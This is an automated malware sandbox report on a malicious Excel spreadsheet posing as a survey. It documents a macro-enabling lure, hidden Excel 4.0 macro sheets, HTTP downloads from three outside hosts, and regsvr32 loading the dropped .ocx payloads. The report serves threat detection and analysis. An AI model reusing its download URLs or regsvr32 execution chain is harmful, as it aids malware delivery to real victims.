Windows Analysis Report survey-1378794827.xls

Overview

General Information

Sample Name: survey-1378794827.xls
Analysis ID: 528581
MD5: 7858cdbf85a5751a0853620c8908df14
SHA1: 8200d0104d40b68f9e523a1331dd77a8d36a827f
SHA256: 37ec1209daa15ba2bb2a9d9c372960703125e0b0acfa0736cb2ae10edfad7d62
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 64
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Yara detected hidden Macro 4.0 in Excel
Yara signature match
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication
May sleep (evasive loops) to hinder dynamic analysis
Document contains embedded VBA macros
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown HTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.22:49167 version: TLS 1.2

Software Vulnerabilities:

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Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.79.2:443
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: klevvrtech.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.185.79.2:443

Networking:

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Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: klevvrtech.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: srkcampus.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rstebet.co.idConnection: Keep-Alive
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.444152722.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459305635.0000000001C80000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.438784192.0000000001D00000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ji[1].htm Jump to behavior
Source: unknown DNS traffic detected: queries for: klevvrtech.com
Source: global traffic HTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: klevvrtech.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: srkcampus.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rstebet.co.idConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown HTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.22:49167 version: TLS 1.2

System Summary:

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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing 18 '9 41' I 20 (D PROTECTED VIEW Be careful- files from the 1nterne cted View.
Source: Screenshot number: 4 Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Source: Screenshot number: 8 Screenshot OCR: Enable Editing ., le, No RETURNQ or HALTQ function found on maao sheet. 18 19 I ' : 20 (D PROTE
Source: Screenshot number: 8 Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Source: Document image extraction number: 0 Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless yo
Source: Document image extraction number: 0 Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Document image extraction number: 1 Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1 Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Screenshot number: 12 Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 12 Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Yara signature match
Source: survey-1378794827.xls, type: SAMPLE Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\survey-1378794827.xls, type: DROPPED Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Found a hidden Excel 4.0 Macro sheet
Source: survey-1378794827.xls Macro extractor: Sheet name: Buk1
Source: survey-1378794827.xls Macro extractor: Sheet name: Buk4
Source: survey-1378794827.xls Macro extractor: Sheet name: Buk6
Source: survey-1378794827.xls Macro extractor: Sheet name: Buk7
Source: survey-1378794827.xls Macro extractor: Sheet name: Buk2
Source: survey-1378794827.xls Macro extractor: Sheet name: Buk3
Document contains embedded VBA macros
Source: survey-1378794827.xls OLE indicator, VBA macros: true
Source: survey-1378794827.xls.0.dr OLE indicator, VBA macros: true
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: A5B1.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: survey-1378794827.xls OLE indicator, Workbook stream: true
Source: survey-1378794827.xls.0.dr OLE indicator, Workbook stream: true
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx Jump to behavior
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVREB38.tmp Jump to behavior
Source: classification engine Classification label: mal64.expl.winXLS@7/4@3/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Automated click: OK
Source: C:\Windows\System32\regsvr32.exe Automated click: OK
Source: C:\Windows\System32\regsvr32.exe Automated click: OK
Source: C:\Windows\System32\regsvr32.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: A5B1.tmp.0.dr Initial sample: OLE indicators vbamacros = False
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\regsvr32.exe TID: 1292 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 668 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2364 Thread sleep time: -60000s >= -30000s Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

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Yara detected hidden Macro 4.0 in Excel
Source: Yara match File source: survey-1378794827.xls, type: SAMPLE
Source: Yara match File source: C:\Users\user\Desktop\survey-1378794827.xls, type: DROPPED